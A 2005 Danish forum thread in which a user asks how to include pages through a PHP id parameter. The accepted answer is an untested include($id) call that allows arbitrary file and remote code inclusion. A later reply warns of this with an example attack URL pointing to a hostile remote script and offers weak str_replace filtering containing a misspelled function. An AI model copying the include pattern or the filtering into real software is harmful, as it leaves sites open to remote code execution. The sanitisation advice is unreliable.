Avatar billede Mathias5148 Nybegynder
09. december 2005 - 14:48 Der er 3 kommentarer og
1 løsning

side.php?id=

hvordan laver man såden en link så stien ser sådan ud:

side.php?id=12 hvor den giver mappen "12"
eller
side.php?id=12/tralalala.php hvor den giver filen "12/tralalala.php"
eller
side.php?id=tralalala.php hvor den giver filen "tralalala.php"


hvis i ikke helt forstår hvad jeg skriver så kan jeg lige sige det gør jeg heller
Avatar billede ljm21 Praktikant
09. december 2005 - 14:52 #1
Ikke testet:

<?php
include($id);
?>

Mvh.
Lars
Avatar billede dgivoni Nybegynder
09. december 2005 - 14:56 #2
mener du at den skal omsætte urlparametre til en mere søgemaskinevenlig url?

f.eks.
www.website.com/side.php?id=12/tralalala.php
skal ses af brugeren som
www.website.com/12/tralalala.php?
Avatar billede Mathias5148 Nybegynder
09. december 2005 - 15:09 #3
<?php
include($id);
?>


det er den jeg skal bruge og den virker :)


mvh Mathias
Avatar billede johan.o Nybegynder
10. december 2005 - 16:17 #4
Jeg vil ikke blande mig utidigt i din kode, men værd opmærksom på at link som dette :

index.php?id=test.php

hvor id bruges til include($_GET['id']); er en stor åben ladeport for uvenlige besøgende. Denne måde gør det nemlig muligt for hvem som helst at køre deres egen php kode på din server. Det eneste de behøver gøre er jo at ændre url'en til

index.php?id=http://www.satan.dk/bad.php;

Så i denne forbindelse er det vigigt at du laver en eller anden form for validering af det input du får fra id. F.eks. bør du sikre dig at der ikke står // eller ../ så er du godt hjulpet.

I php kunne det gøres således :

while($id!=str_replace("../","",$id) || $id!=str_replace("//","",$id)) {
$id=str_replace("../","",$id);
$id=str_replace("//","",$id); }

Grunden til at det er lavet som en while løkke er f.eks. dette eksempel :

index.php?id=http:////www.osv  eller
index.php?id=....//noget mere

Når jeg selv skal lave noget som dette sørger jeg altid for at der ikke optræder punktummer i id. Altså ville min url se sådan her ud hvis jeg vil include test.php

index.php?id=test

Så gør jeg tilgengæld sådan her senere i koden :

if(file_exist($_GET['id'].".php")) {
$link=$_GET['id'].".php"; }

Derudover bruger jeg reg_exp til at checke id value.

Ville bare lige give en heads up på problemet :)...gad vide om jeg har lært på den hårde måde :)

Mvh. Johan
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester